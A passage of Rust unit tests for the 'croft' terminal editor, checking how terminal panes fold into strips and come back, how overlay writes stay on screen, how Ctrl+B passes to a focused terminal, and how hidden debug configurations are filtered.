    assert_eq!(strip.width, 1, "a collapsed pane is one column wide");
    assert!(strip.height > 1, "the strip runs the height of the panel");
    // Anywhere down the strip, not only the chevron: one column is a small
    // enough target without also demanding the right row.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        strip.x,
        strip.y + strip.height / 2,
    ));
    assert!(!app.terminals[2].collapsed, "the strip is the way back out");
}

#[test]
fn a_strip_on_the_sidebar_seam_still_unfolds_its_pane() {
    // #468: the default terminal is the LEFTMOST pane, and its strip sits on
    // the editor column's left edge, which is exactly the column the sidebar
    // seam claims for a resize drag. That hit-test runs before the strip's,
    // so a click on the left pane's strip started a drag and the pane could
    // never be brought back; a pane opened to the right sat clear of the seam
    // and unfolded fine. Both sidebar positions are covered because the seam
    // moves with the side bar: on the right it is the column past the editor,
    // and its two-column grab zone reaches the LAST pane's strip instead.
    for &pos in &[SideBarPosition::Left, SideBarPosition::Right] {
        let (_tmp, mut app, mut term) = app_with_terminal_panes(2);
        app.side_bar_position = pos;
        let idx = match pos {
            SideBarPosition::Left => 0,
            SideBarPosition::Right => 1,
        };
        app.toggle_terminal_collapse(idx);
        term.draw(|f| app.render(f)).unwrap();

        let strip = app.terminal_strip_rects[idx];
        assert_eq!(strip.width, 1, "{pos:?}: pane {idx} is folded to a strip");
        let seam = app
            .sidebar_splitter_x
            .expect("the side bar is shown, so its seam exists");
        // The whole point: the strip must lie inside the seam's grab zone
        // (the seam column and the one left of it), or this proves nothing.
        assert!(
            strip.x == seam || strip.x + 1 == seam,
            "{pos:?}: precondition - strip x={} must meet the seam at x={seam}",
            strip.x
        );

        app.handle_mouse(mouse(
            MouseEventKind::Down(MouseButton::Left),
            strip.x,
            strip.y + strip.height / 2,
        ));
        assert!(
            !app.terminals[idx].collapsed,
            "{pos:?}: the strip on the seam is still the way back out"
        );
        assert_eq!(
            app.splitter_drag, None,
            "{pos:?}: a click on a strip is not a sidebar resize"
        );
    }
}

#[test]
fn a_collapsed_pane_is_never_reflowed_into_its_strip() {
    // `resize` clamps to two columns, so rendering a collapsed pane would not
    // crash - it would quietly rewrap the running shell to a two-column grid
    // and destroy everything on its screen. Skipping the render is what keeps
    // the pane's geometry, and this is the assertion that says so.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    let before = app.terminals[1].grid_cols();
    assert!(
        before > 2,
        "the pane must start at a real width to prove this"
    );

    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.terminals[1].grid_cols(),
        before,
        "a collapsed pane's shell keeps the geometry it had"
    );
    assert_eq!(
        app.terminals[1].last_area,
        Rect::default(),
        "and its grid hit rect is cleared, so a strip click cannot land in it"
    );
}

#[test]
fn the_last_expanded_pane_refuses_to_collapse() {
    let (_tmp, mut app, _term) = app_with_terminal_panes(2);
    app.toggle_terminal_collapse(0);
    assert!(app.terminals[0].collapsed);

    app.toggle_terminal_collapse(1);
    assert!(
        !app.terminals[1].collapsed,
        "folding every pane away would leave a row of strips with nothing in it"
    );
    assert!(
        app.status.contains("last expanded"),
        "and it says so rather than swallowing the click: {:?}",
        app.status
    );
}

#[test]
fn closing_the_only_expanded_pane_never_leaves_a_row_of_strips() {
    // The refusal above guards one route into an all-collapsed row; closing
    // is the other, and it arrives from the opposite direction.
    let (_tmp, mut app, _term) = app_with_terminal_panes(2);
    app.toggle_terminal_collapse(0);
    assert!(app.close_terminal_at(1), "close the pane that was expanded");
    assert_eq!(app.terminals.len(), 1);
    assert!(
        !app.terminals[0].collapsed,
        "the survivor must be given its width back"
    );
}

#[test]
fn reopening_a_closed_pane_brings_it_back_expanded() {
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(2);
    assert!(app.close_terminal_at(2));
    app.undo_close_terminal();
    // The count first. Without it a reopen that did nothing at all leaves two
    // uncollapsed panes and satisfies the flag check while proving the pane
    // never came back: the predicate is fine, the set it ranges over is wrong.
    assert_eq!(app.terminals.len(), 3, "the pane must actually be back");
    assert!(
        !app.terminals.iter().any(|t| t.collapsed),
        "a reopen that put a strip on screen would read as having failed"
    );
}

#[test]
fn cmd_k_brackets_fold_the_active_pane_and_restore_every_folded_one() {
    let (_tmp, mut app, _term) = app_with_terminal_panes(4);
    app.active_terminal = 3;
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('['), KeyModifiers::NONE)));
    app.active_terminal = 2;
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('['), KeyModifiers::NONE)));
    assert_eq!(
        app.terminals.iter().filter(|t| t.collapsed).count(),
        2,
        "each Cmd+K [ folds the pane that is active"
    );

    assert!(app.handle_cmd_k_chord(key(KeyCode::Char(']'), KeyModifiers::NONE)));
    assert!(
        !app.terminals.iter().any(|t| t.collapsed),
        "Cmd+K ] is the issue's one gesture back to equal-sized panes"
    );
    assert!(app.status.contains("Restored 2"), "{:?}", app.status);
}

#[test]
fn cmd_k_e_still_reveals_in_the_explorer() {
    // The design proposal had picked Cmd+K E for restore-all. It is croft's
    // reveal-in-Explorer, and an `e` arm added below the existing one would
    // never have been reached - a chord that silently does nothing. This
    // pins the collision so the mistake cannot be made a second time.
    let (_tmp, mut app, _term) = app_with_terminal_panes(2);
    app.toggle_terminal_collapse(1);
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('e'), KeyModifiers::NONE)));
    // BOTH halves, in this test. "Did not collapse" alone passes against a
    // build where `e` reaches nothing at all, while the test's NAME goes on
    // claiming it revealed. With no file open the reveal arm says so, and
    // that is the presence half over the same state.
    assert_eq!(
        app.status, "Reveal in Explorer View: no active file",
        "Cmd+K E must still reach reveal-in-Explorer"
    );
    assert!(
        app.terminals[1].collapsed,
        "and must not have been quietly taken over by collapse"
    );
}

#[test]
fn folding_the_focused_pane_moves_focus_somewhere_visible() {
    // A one-column strip shows no cursor, so keystrokes would land where the
    // user cannot see them arrive.
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    app.active_terminal = 1;
    app.toggle_terminal_collapse(1);
    assert!(app.terminals[1].collapsed);
    // The SPECIFIC pane, not merely "not the folded one": naming it is what
    // tells a deliberate hand-off from focus landing somewhere by accident.
    // Pane 1's neighbours are equidistant, so this pins the left tie-break.
    assert_eq!(app.active_terminal, 0, "ties go to the pane on the left");
    assert!(
        !app.terminals[app.active_terminal].collapsed,
        "and that pane is actually on screen"
    );
}

#[test]
fn folding_a_pane_hands_focus_to_its_neighbour_not_to_the_front_of_the_row() {
    // The case above cannot tell "nearest" from "first": pane 1 of three is
    // one step from both its neighbours, so the two rules agree there. Four
    // panes with the LAST one folded separates them - nearest says 2, first
    // says 0 - which is the whole of the difference between handing focus to
    // a neighbour and throwing the user back across the panel.
    let (_tmp, mut app, _term) = app_with_terminal_panes(4);
    app.active_terminal = 3;
    app.toggle_terminal_collapse(3);
    assert!(app.terminals[3].collapsed);
    assert_eq!(
        app.active_terminal, 2,
        "focus goes to the neighbour, not to the first expanded pane"
    );
}

/// A post-draw overlay whose rect does not fit the screen is not emitted
/// (#513). The flush block writes with absolute CUP straight to stdout,
/// so an out-of-range origin cannot panic and ratatui cannot repair it --
/// the payload has to be refused before it is written.
#[test]
fn an_overlay_past_the_screen_edge_is_refused_before_it_is_written() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(80, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // Inside the screen: emittable.
    assert!(
        app.overlay_fits_on_screen(0, 0, 80, 24),
        "a payload filling the screen exactly must be allowed"
    );
    assert!(app.overlay_fits_on_screen(10, 5, 20, 10), "well inside");

    // Past either edge: refused. These are the shapes a stale rect makes --
    // the pre-maximize column of a pane that is now narrower, or a row
    // index from a taller layout.
    assert!(
        !app.overlay_fits_on_screen(70, 0, 20, 5),
        "past the right edge (70+20 > 80)"
    );
    assert!(
        !app.overlay_fits_on_screen(0, 20, 10, 10),
        "past the bottom edge (20+10 > 24)"
    );
    assert!(
        !app.overlay_fits_on_screen(u16::MAX - 1, 0, 4, 4),
        "a wild origin must saturate rather than wrap into range"
    );

    // A zero-sized payload has nothing to place. Refused rather than
    // trivially in bounds, so a cleared rect cannot slip a bare cursor
    // park through.
    assert!(!app.overlay_fits_on_screen(0, 0, 0, 5), "zero width");
    assert!(!app.overlay_fits_on_screen(0, 0, 5, 0), "zero height");
}

/// Every raw-CUP writer in the post-draw block is guarded, not just the
/// ones that had a reported failure (#513). The block's six writers share
/// one hazard -- an absolute-CUP write ratatui cannot repair -- so a guard
/// on some of them leaves the same class open at the others. This counts
/// the call sites rather than exercising each, which is crude but is what
/// catches a SEVENTH writer being added later without one.
#[test]
fn every_post_draw_overlay_writer_checks_the_screen_bound() {
    let src = include_str!("mod.rs");
    let guards = src.matches("app.overlay_fits_on_screen(").count();
    assert_eq!(
        guards, 5,
        "expected the five payload writers in the post-draw block to be \
         guarded (editor split slots share one call site, plus terminal, \
         markdown, minimap, welcome); the activity-bar writer calls \
         `self.overlay_fits_on_screen` from inside its own method. A \
         change here means a writer was added or removed - guard it."
    );
    assert!(
        src.contains("if !self.overlay_fits_on_screen(*x, *y, 1, 1)"),
        "the activity-bar writer keeps its own guard"
    );
}

/// Before any frame is drawn there is no screen to land on, so nothing is
/// emittable (#513). Guards the window between startup and the first
/// render, where `last_frame_area` is still zeroed.
#[test]
fn no_overlay_is_emittable_before_the_first_frame() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        !app.overlay_fits_on_screen(0, 0, 1, 1),
        "no frame drawn yet: a 1x1 payload at the origin still has no screen"
    );
}

/// Ctrl+B reaches the app running in a focused terminal instead of
/// toggling the side bar (#304). Claude Code backgrounds a running
/// command with it and has no other route to that gesture; croft's
/// sidebar toggle keeps three.
#[test]
fn ctrl_b_belongs_to_the_app_in_a_focused_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.bottom_panel_tab = BottomPanelTab::Terminal;
    let before = app.show_tree;

    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(
        app.show_tree, before,
        "Ctrl+B in a focused terminal must not move the side bar"
    );
    // The byte has to ARRIVE, not merely fail to toggle. A guard that
    // declined the toggle and then swallowed the key would satisfy the
    // assertion above while delivering nothing -- which is the whole
    // point of the change, so it is the thing to pin.
    assert!(
        app.terminals[app.active_terminal]
            .written_bytes_for_test()
            .contains(&0x02),
        "Ctrl+B must reach the PTY as 0x02"
    );

    // Cmd+B is untouched, which is what keeps the side bar reachable from
    // the terminal -- releasing the Ctrl form only costs a chord that has
    // three other routes.
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::SUPER))
        .unwrap();
    assert_ne!(
        app.show_tree, before,
        "Cmd+B still toggles the side bar from the terminal"
    );
}

/// The release is conditional on focus, not global (#304): the same
/// chord keeps its croft meaning everywhere else, so the rule is about
/// when the chord is unambiguous rather than a preference.
#[test]
fn ctrl_b_still_toggles_the_side_bar_outside_the_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    let before = app.show_tree;
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::CONTROL))
        .unwrap();
    assert_ne!(
        app.show_tree, before,
        "with the editor focused, Ctrl+B is still croft's"
    );
}

#[test]
fn maximize_ignores_the_collapse_flags_and_gives_them_back_on_exit() {
    // The two gestures are orthogonal: entering maximize does not clear the
    // flags, and leaving it restores whatever folding was in force.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(2);
    app.active_terminal = 0;
    app.toggle_terminal_pane_maximize();
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminals[2].collapsed,
        "maximize must not silently clear the folding"
    );
    assert_eq!(
        app.terminal_strip_rects
            .iter()
            .filter(|r| r.width > 0)
            .count(),
        0,
        "but no strip is painted while maximize owns the panel"
    );

    app.toggle_terminal_pane_maximize();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.terminal_strip_rects[2].width, 1,
        "leaving maximize brings the strip back"
    );
}

/// Closing the last EXPANDED pane leaves a panel of nothing but strips,
/// and something must bring one back (part of #468).
///
/// `toggle_terminal_collapse` refuses to fold the last expanded pane,
/// but closing reaches that state from the other side, which is a route
/// the fold guard cannot see. `ensure_a_terminal_pane_is_expanded` is
/// the answer and has exactly one caller; this pins that the caller is
/// on the path that needs it.
#[test]
fn closing_the_last_expanded_pane_leaves_one_expanded_behind() {
    let (_tmp, mut app, mut term) = app_with_terminal_panes(2);
    term.draw(|f| app.render(f)).unwrap();

    app.toggle_terminal_collapse(1);
    assert!(app.terminals[1].collapsed, "premise: pane 1 is folded");
    assert!(
        !app.terminals[0].collapsed,
        "premise: pane 0 is the only expanded one"
    );

    // Close the expanded one. The fold guard never fires -- nothing is
    // being folded -- so the panel would be all strips without the
    // close path's own guard.
    app.close_terminal_at(0);
    term.draw(|f| app.render(f)).unwrap();

    assert_eq!(app.terminals.len(), 1, "one pane left");
    assert!(
        !app.terminals[0].collapsed,
        "the surviving pane must be expanded: a panel of nothing but strips \
         has no cursor and no way back that does not depend on the strip \
         click still working"
    );
}

/// The config row and the picker must agree about hidden compounds (#318).
///
/// The row is the documented route INTO the picker, so a count that
/// includes what the picker drops advertises an entry that is not there:
/// a workspace whose only compound is hidden would render "1 debug entry"
/// over a picker offering nothing to debug.
#[test]
fn the_config_row_does_not_count_a_hidden_compound() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{
          "configurations": [
            { "name": "A", "type": "lldb", "request": "launch", "program": "/bin/ls" }
          ],
          "compounds": [
            { "name": "OnlyHidden", "configurations": ["A"],
              "presentation": { "hidden": true } }
          ]
        }"#,
    )
    .unwrap();

    // `A` is declared, so the compound RESOLVES and the only thing keeping it
    // out of the count is `hidden`. With an empty `configurations` the count
    // could equally come from an unresolvable member, and the assertion would
    // hold for a reason it does not claim.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.refresh_run_debug();
    // Pin the fixture's discriminating property rather than leaving it in a
    // comment: the counts below only mean "the compound was excluded" while
    // exactly one configuration is declared. A later edit adding a second
    // config would make 1 and 2 wrong for a reason that has nothing to do
    // with hiding, and the obvious repair -- bumping the numbers -- would
    // leave a test that no longer measures what it claims.
    assert_eq!(
        crate::dap::configs::discover_configs(tmp.path()).len(),
        1,
        "fixture: exactly one configuration, so the counts isolate the compound"
    );
    assert_eq!(
        app.run_debug.config_count, 1,
        "the visible configuration counts; the hidden compound does not"
    );

    // And the picker agrees: nothing but the always-present rows (the active
    // file, and Add Configuration).
    app.open_debug_config_picker();
    let picker = app.list_picker.as_ref().expect("the picker opened");
    assert!(
        !picker.rows.iter().any(|r| r.id.starts_with("compound:")),
        "no compound rows: {:?}",
        picker.rows.iter().map(|r| &r.id).collect::<Vec<_>>()
    );
    app.list_picker = None;

    // The POSITIVE leg. Everything above asserts an absence, and an absence
    // is what a broken parser, an unreadable launch.json and a working
    // filter all produce. Unhiding the same compound in the same workspace
    // must make it appear -- without this the test passes with the filter
    // deleted and the file never parsed.
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{
          "configurations": [
            { "name": "A", "type": "lldb", "request": "launch", "program": "/bin/ls" }
          ],
          "compounds": [
            { "name": "OnlyHidden", "configurations": ["A"],
              "presentation": { "hidden": false } }
          ]
        }"#,
    )
    .unwrap();
    let mut shown = App::new(tmp.path().to_path_buf()).unwrap();
    shown.refresh_run_debug();
    assert_eq!(
        shown.run_debug.config_count, 2,
        "the same compound, unhidden, IS an entry the row offers alongside A"
    );
    shown.open_debug_config_picker();
    let picker = shown.list_picker.as_ref().expect("the picker opened");
    assert!(
        picker.rows.iter().any(|r| r.id.starts_with("compound:")),
        "and the picker lists it: {:?}",
        picker.rows.iter().map(|r| &r.id).collect::<Vec<_>>()
    );
}

/// #318: a CONFIGURATION can ask to be hidden too, and the picker and its
/// badge must agree about that the way they already do for a compound.
/// Deleting the configuration half of the filter left the whole suite green.
#[test]
fn a_hidden_configuration_leaves_both_the_picker_and_the_count() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{
          "configurations": [
            { "name": "Shown", "type": "lldb", "request": "launch", "program": "/bin/ls" },
            { "name": "Hid", "type": "lldb", "request": "launch", "program": "/bin/ls",
              "presentation": { "hidden": true } }
          ]
        }"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.refresh_run_debug();
    assert_eq!(
        crate::dap::configs::discover_configs(tmp.path()).len(),
        2,
        "fixture: both configurations parse, so the count below isolates hiding"
    );
    assert_eq!(
        app.run_debug.config_count, 1,
        "the hidden configuration is not an entry the row offers"
    );
    app.open_debug_config_picker();
    let labels: Vec<String> = app
        .list_picker
        .as_ref()
        .expect("the picker opened")
        .rows
        .iter()
        .map(|r| r.label.clone())
        .collect();
    assert!(
        labels.iter().any(|l| l.starts_with("Shown")),
        "the visible one is listed: {labels:?}"
    );
    assert!(
        !labels.iter().any(|l| l.starts_with("Hid")),
        "and the hidden one is not: {labels:?}"
    );
}

/// #318: the row ids are built from the UNSORTED lists, so a row keeps naming
/// the entry it says even after `presentation` reorders the picker. Indexing
/// the sorted sequence instead would launch a different configuration than
/// the row names, which is the trap the module doc calls out and which no
/// test covered while only the hidden filter was exercised.
#[test]
fn a_reordering_presentation_leaves_every_row_naming_its_own_entry() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    // "Last" is declared third and asks to be first, so a sorted-index bug
    // cannot hide behind the entries happening to already be in order.
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{
          "configurations": [
            { "name": "First", "type": "lldb", "request": "launch", "program": "/bin/ls" },
            { "name": "Second", "type": "lldb", "request": "launch", "program": "/bin/ls" },
            { "name": "Last", "type": "lldb", "request": "launch", "program": "/bin/ls",
              "presentation": { "order": 1 } }
          ]
        }"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_debug_config_picker();
    let rows: Vec<(String, String)> = app
        .list_picker
        .as_ref()
        .expect("the picker opened")
        .rows
        .iter()
        .map(|r| (r.id.clone(), r.label.clone()))
        .collect();
    let configs = crate::dap::configs::discover_configs(tmp.path());
    let ordered: Vec<&str> = rows
        .iter()
        .filter(|(id, _)| id != "active" && id != "add")
        .map(|(_, label)| label.split(' ').next().unwrap_or_default())
        .collect();
    assert_eq!(
        ordered,
        vec!["Last", "First", "Second"],
        "precondition: the presentation actually moved a row"
    );
    // The claim: every id still indexes the entry whose name the row shows.
    for (id, label) in rows.iter().filter(|(id, _)| id != "active" && id != "add") {
        let idx: usize = id.parse().expect("a configuration row's id is its index");
        assert!(
            label.starts_with(&configs[idx].name),
            "row {id:?} says {label:?} but index {idx} is {:?}",
            configs[idx].name
        );
    }
}

/// A compound asking `presentation.hidden` is not listed, and hiding one
/// does not misdirect the rows that remain (#318).
///
/// The second half is the subtle one: row ids are `compound:{i}` where `i`
/// indexes `debug_compounds`. Filtering AFTER `enumerate` keeps those ids
/// naming the same compound; filtering before would make every row after a
/// hidden one launch its neighbour.
#[test]
fn a_hidden_compound_is_not_listed_and_the_rest_keep_their_ids() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{
          "configurations": [
            { "name": "A", "type": "lldb", "request": "launch", "program": "/bin/ls" }
          ],
          "compounds": [
            { "name": "First",  "configurations": ["A"] },
            { "name": "Hidden", "configurations": ["A"], "presentation": { "hidden": true } },
            { "name": "Third",  "configurations": ["A"] }
          ]
        }"#,
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_debug_config_picker();
    let picker = app.list_picker.as_ref().expect("the picker opened");
    let rows: Vec<(String, String)> = picker
        .rows
        .iter()
        .filter(|r| r.id.starts_with("compound:"))
        .map(|r| (r.id.clone(), r.label.clone()))
        .collect();

    assert_eq!(rows.len(), 2, "the hidden compound is not listed: {rows:?}");
    assert!(
        !rows.iter().any(|(_, l)| l.contains("Hidden")),
        "and it is the hidden one that went: {rows:?}"
    );

    // Third was at index 2 before the filter and must still say so, or
    // selecting it would launch the compound the id points at instead.
    assert_eq!(rows[0].0, "compound:0", "First keeps its index");
    assert!(rows[0].1.contains("First"));
    assert_eq!(
        rows[1].0, "compound:2",
        "Third keeps index 2 across the hidden row, not 1"
    );
    assert!(rows[1].1.contains("Third"));
}

/// EXHAUSTIVE recovery sweep for #468: every pane index, both side bar
/// positions, and with a resize or a maximize cycle interleaved, must be
/// recoverable from its strip.
///
/// Four theories about this bug died against the tree by inspection --
/// the editor/panel splitter's grab zone, the maximize/collapse flag
/// interaction, index 0 being special, and the last-expanded guard. This
/// stops arguing and drives the combinations instead, because "I could
/// not construct the path" is a much weaker claim than "the paths were
/// enumerated and all of them recover".
///
/// If this ever goes red it names the reproduction directly.
#[test]
fn every_collapsed_pane_recovers_from_its_strip_in_every_layout() {
    for panes in [2usize, 3] {
        for right_bar in [false, true] {
            for perturb in ["none", "resize", "maximize"] {
                for idx in 0..panes {
                    let (_tmp, mut app, mut term) = app_with_terminal_panes(panes);
                    app.side_bar_position = if right_bar {
                        crate::app::SideBarPosition::Right
                    } else {
                        crate::app::SideBarPosition::Left
                    };
                    term.draw(|f| app.render(f)).unwrap();

                    app.toggle_terminal_collapse(idx);
                    assert!(
                        app.terminals[idx].collapsed,
                        "premise: pane {idx} folds ({panes} panes, right_bar={right_bar})"
                    );

                    // The perturbations #475 and #478 make plausible: a
                    // resize leaves stale geometry behind, and maximize
                    // bypasses the pane-constraint path entirely.
                    match perturb {
                        "resize" => {
                            term =
                                ratatui::Terminal::new(ratatui::backend::TestBackend::new(120, 24))
                                    .unwrap();
                        }
                        "maximize" => {
                            app.toggle_terminal_pane_maximize();
                            term.draw(|f| app.render(f)).unwrap();
                            app.toggle_terminal_pane_maximize();
                        }
                        _ => {}
                    }
                    term.draw(|f| app.render(f)).unwrap();

                    // The perturbation must PRESERVE the fold. A `continue`
                    // here would let a maximize cycle that clears `collapsed`
                    // pass the case without ever clicking a strip, so the
                    // sweep would report paths it never walked -- the exact
                    // shape of green this test exists to refuse.
                    assert!(
                        app.terminals[idx].collapsed,
                        "pane {idx} must still be folded after {perturb} \
                         ({panes} panes, right_bar={right_bar}); if this \
                         perturbation legitimately unfolds panes the case \
                         needs its own assertion, not a skip"
                    );
                    let strip = app.terminal_strip_rects[idx];
                    assert_eq!(
                        strip.width, 1,
                        "pane {idx} keeps a one-column strip after {perturb} \
                         ({panes} panes, right_bar={right_bar})"
                    );

                    app.handle_mouse(mouse(
                        crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
                        strip.x,
                        strip.y,
                    ));
                    assert!(
                        !app.terminals[idx].collapsed,
                        "pane {idx} must unfold from its strip at ({}, {}) after \
                         {perturb} ({panes} panes, right_bar={right_bar})",
                        strip.x, strip.y
                    );
                }
            }
        }
    }
}

#[test]
fn a_collapsed_strip_carries_the_pane_name_down_its_column() {
    // The strip is what makes the gesture obviously reversible, so it has to
    // be identifiable: the chevron out, then the name.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.terminals[1].set_manual_name(Some(String::from("build")));
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();

    let strip = app.terminal_strip_rects[1];
    let column: String = (strip.y..strip.y + strip.height)
        .map(|y| {
            term.backend()
                .buffer()
                .cell(ratatui::layout::Position::new(strip.x, y))
                .unwrap()
                .symbol()
                .to_string()
        })
        .collect();
    assert!(
        column.starts_with('\u{eab6}'),
        "the expand chevron heads the strip: {column:?}"
    );
    assert!(
        column.contains("build"),
        "the pane's name runs down the strip: {column:?}"
    );
}

/// #468 reports the LEFTMOST pane specifically: "works fine for
/// right-side-opened terminals but the default terminal that is on the left
/// side, which fold also on the left side, cannot be recovered after
/// collapse."
///
/// Every other strip test in this file uses index 1 or 2, so index 0 has
/// never been exercised - the shape in which a bug survives a green suite.
/// Two theories (the splitter grab zone, the sidebar seam) already died
/// against the tree, so this asserts the user's gesture end to end rather
/// than any mechanism: fold pane 0, click its strip, and require it back.
#[test]
fn the_leftmost_pane_comes_back_from_its_strip() {
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(0);
    term.draw(|f| app.render(f)).unwrap();

    let strip = app.terminal_strip_rects[0];
    assert_eq!(strip.width, 1, "precondition: pane 0's strip is painted");
    assert!(app.terminals[0].collapsed, "precondition: pane 0 is folded");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        strip.x,
        strip.y + 1,
    ));
    assert!(
        !app.terminals[0].collapsed,
        "a left-click on the leftmost strip unfolds it, the same as any other"
    );
}

/// The right-click half of the same gesture, for the same untested index.
#[test]
fn the_leftmost_panes_strip_offers_expand_terminal() {
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(0);
    term.draw(|f| app.render(f)).unwrap();
    let strip = app.terminal_strip_rects[0];
    assert_eq!(strip.width, 1, "precondition: pane 0's strip is painted");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        strip.x,
        strip.y + 1,
    ));
    let menu = app
        .context_menu
        .as_ref()
        .expect("a strip right-click opens the pane menu");
    let labels: Vec<String> = menu
        .items
        .iter()
        .filter_map(|e| match e {
            MenuEntry::Item { label, .. } => Some(label.clone()),
            _ => None,
        })
        .collect();
    assert!(
        labels.iter().any(|l| l == "Expand Terminal"),
        "the leftmost folded pane offers the way back out too: {labels:?}"
    );
}

#[test]
fn a_long_pane_name_never_paints_past_the_end_of_its_strip() {
    // A PROPERTY, not a case: this never states which row the name should end
    // on, only that nothing lands outside the strip. A case written to a
    // boundary already reasoned through would confirm the painting code's
    // arithmetic rather than probe it, since the same reasoning produced both.
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();
    let height = app.terminal_strip_rects[1].height;
    assert!(
        height > 2,
        "the strip must be tall enough for a name to overrun"
    );

    // Omega is one cell wide and appears nowhere else in the chrome, so any
    // sighting of it outside the strip is the name having escaped.
    const MARK: &str = "\u{3a9}";
    for len in 1..=(height as usize + 2) {
        app.terminals[1].set_manual_name(Some(MARK.repeat(len)));
        term.draw(|f| app.render(f)).unwrap();
        let strip = app.terminal_strip_rects[1];
        assert_eq!(strip.width, 1, "still one column at name length {len}");
        // Containment, counted over the WHOLE screen rather than probed at
        // the row below the strip: that probe reads `None` whenever the panel
        // reaches the last screen row, and an assertion the buffer's edge can
        // satisfy is not an assertion. Comparing totals cannot go vacuous, and
        // it states no arithmetic about which row is last.
        let buf = term.backend().buffer();
        let mark_at = |x: u16, y: u16| {
            buf.cell(ratatui::layout::Position::new(x, y))
                .is_some_and(|c| c.symbol() == MARK)
        };
        let area = buf.area();
        let on_screen = (0..area.height)
            .flat_map(|y| (0..area.width).map(move |x| (x, y)))
            .filter(|&(x, y)| mark_at(x, y))
            .count();
        let in_strip = (strip.y..strip.y + strip.height)
            .filter(|&y| mark_at(strip.x, y))
            .count();
        assert!(
            in_strip > 0,
            "the name must actually be painted at length {len}, or nothing is being tested"
        );
        assert_eq!(
            on_screen, in_strip,
            "a {len}-character name painted outside its own strip"
        );
    }
}

// --- #313 fallback-review findings: red-first ------------------------------

#[test]
fn cycling_terminals_never_lands_on_a_collapsed_pane() {
    // Cmd+] / Cmd+[ walk `active_terminal` by raw modular arithmetic, which
    // predates the collapse flag. `toggle_terminal_collapse` documents the
    // invariant "focus must not sit on a pane the user cannot see" and
    // defends it on its own path only; cycling is the other way in.
    //
    // The FIXTURE has to be able to tell the two apart: four panes with index
    // 1 folded, cycling from 0. Broken lands on 1 (folded, no cursor painted);
    // correct skips to 2. A three-pane fixture would not discriminate.
    let (_tmp, mut app, _term) = app_with_terminal_panes(4);
    app.toggle_terminal_collapse(1);
    app.active_terminal = 0;
    app.cycle_terminal();
    assert_eq!(
        app.active_terminal, 2,
        "forward cycling steps over the strip"
    );
    assert!(!app.terminals[app.active_terminal].collapsed);

    app.cycle_terminal_back();
    assert_eq!(app.active_terminal, 0, "and so does backward cycling");
    assert!(!app.terminals[app.active_terminal].collapsed);

    // Presence half: with nothing folded the cycle still moves one slot, so
    // this cannot pass by the cycle being broken outright.
    app.restore_all_terminal_panes();
    app.active_terminal = 0;
    app.cycle_terminal();
    assert_eq!(app.active_terminal, 1, "an unfolded row still steps by one");
}

#[test]
fn collapse_is_inert_while_a_pane_is_maximized() {
    // The `‹` button is not painted while maximized and the menu entry is
    // suppressed, but the chord and the palette command called through
    // unconditionally. `toggle_terminal_collapse` reassigns `active_terminal`,
    // and the maximize branch hands the panel to whatever that is - so the
    // pane being watched was silently swapped for a neighbour.
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);
    app.active_terminal = 1;
    app.toggle_terminal_pane_maximize();
    assert!(app.terminal_pane_maximized, "precondition");

    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('['), KeyModifiers::NONE)));
    assert_eq!(
        app.active_terminal, 1,
        "the maximized pane must not be swapped out from under the user"
